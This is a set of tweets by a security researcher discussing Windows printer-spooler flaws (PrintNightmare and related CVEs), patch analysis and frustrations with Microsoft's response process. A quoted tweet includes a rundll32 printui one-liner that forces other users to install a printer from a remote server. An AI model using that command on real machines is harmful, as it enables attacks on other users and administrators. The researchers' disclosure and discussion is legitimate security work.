Yunhai Zhang

Security Researcher

[Yunhai Zhang @_f0rgetting_]

@quidity Will XFG in the plan? CFG is too easy to bypass.

[Yunhai Zhang @_f0rgetting_]

@winlogon0 It is 0x7C, and I don't know what it stands for here. It is caused by failure of authentication, and there may be other error codes depends on the environment.

[Yunhai Zhang @_f0rgetting_]

Can't believe that Microsoft not fix Win 10 network printer issue but break Win 11 too. So, is that actually a feature not a bug?

[Yunhai Zhang @_f0rgetting_]

Just found that not publish slides of conference for years, so upload recent ones: https://t.co/ZtPZKrZkR4
And I will talk at #POC2021 next week, would you join the talk? ^_^

[Yunhai Zhang @_f0rgetting_]

It seems that session pool is removed in WIP. @aionescu @tiraniddo did you have any idea why?

[Yunhai Zhang @_f0rgetting_]

@aionescu Our team succeed in tianfucup, so count++ (10 months, 10 bugs) ¯\_(ツ)_/¯

[Yunhai Zhang @_f0rgetting_]

@guhe120 @HaifeiLi @wdormann @GossiTheDog @EXPMON_ @msftsecresponse Seems that there used to be a limited time program for office, no ongoing program now.

[Yunhai Zhang @_f0rgetting_]

@dwizzzleMSFT Oh, that is nice!

[Yunhai Zhang @_f0rgetting_]

@HaifeiLi Hotmail and Outlook are the same thing now, am I right? I got email lost occasionally for both direction while communicating with MSRC. Yes, I do check the Junk and it really lost, not in Junk box.

[Yunhai Zhang @_f0rgetting_]

@dwizzzleMSFT How to get it? ^_^

[Yunhai Zhang @_f0rgetting_]

@jonasLyk Looks like those used in WDAG & Sandbox. I have talk about it at POC 2018: https://t.co/P12fkjyIeA and Alex Ilgayev has wrote a blog with updates and more detail this year: https://t.co/8xbiC06Ver

[Yunhai Zhang @_f0rgetting_]

@n0x08 @wdormann @bohops @arekfurt However, it seems that nowadays if you don't drop something on twitter, MSRC won't respect you report. That is sad.

[Yunhai Zhang @_f0rgetting_]

@FuzzySec PrintNightmare also got $5k, actually $0 if I not post the POC video. However, I think they can save the $5k next time, since it does not affect the stock price at all. That's the logic behind.

[Yunhai Zhang @_f0rgetting_]

Did you realize that all #printnightmare fix are try to restrict to administrators? It essentially allow UAC bypass. Of course UAC is not a security boundary, so this is not a security issue.

[Yunhai Zhang @_f0rgetting_]

OK, @gentilkiwi found the 3rd one. I have no doubt that he will find the remains soon, just hope that won't be too soon.

[🥝🏳️‍🌈 Benjamin Delpy @gentilkiwi]

But my favorite (for now) #printnightmare dirty trick is: *as a standard user* the way to *force* all other users/admins of workstation/server to install printers😂

rundll32 printui,PrintUIEntry /ga /n"\\print.lab.local\Kiwi Legit Printer"

Rpc(Asyn)cAddPerMachineConnection

[Yunhai Zhang @_f0rgetting_]

@GossiTheDog @MattWreede @gentilkiwi @wdormann I know that @HaifeiLi has a case more than one year.

[Yunhai Zhang @_f0rgetting_]

Now we got CVE-2021-36958, is it for the not fixed one? or just another one again?

[Yunhai Zhang @_f0rgetting_]

@Diz_Sec @msftsecresponse @gentilkiwi Initial patch analysis show that CVE-2021-34481 only fix @Junior_Baines 's driver install issue, which is not necessary to copy file. Now, 2 of them is public, one is fixed, one not.

[Yunhai Zhang @_f0rgetting_]

@gentilkiwi @Junior_Baines I'm so wrong! August Patch do have new CVE, but none of them fix this. Who can imagine that?!

[Yunhai Zhang @_f0rgetting_]

@gentilkiwi @Junior_Baines I think MSFT will fix copy file issue in August Patch without new CVE, so we had to use CVE-2021-34481 to refer both issues.

[Yunhai Zhang @_f0rgetting_]

@Diz_Sec @msftsecresponse @gentilkiwi Initial patch analysis show that CVE-2021-34481 only fix @Junior_Baines 's driver install issue, which is not necessary to copy file. Now, 2 of them is public, one is fixed, one not.

[Yunhai Zhang @_f0rgetting_]

Seems that @gentilkiwi found one of them ^_^ https://t.co/oIx6LpMuax

[Yunhai Zhang @_f0rgetting_]

(2/n) MSRC do not agree that this issue is eligible for remote attack scenario, although the fore-discuss let me think so. And NTLM relay is unacceptable even it dose work. Thus, I need to finish my tech to get rid of NTLM relay for some similar vulnerabilities.

[Yunhai Zhang @_f0rgetting_]

@gentilkiwi I think they only fix CVE-2021-34481 and treat this as variant of it because of the Kyocera. That is the result of lack of communication with researchers. Which is the result of their unfriendly attitude.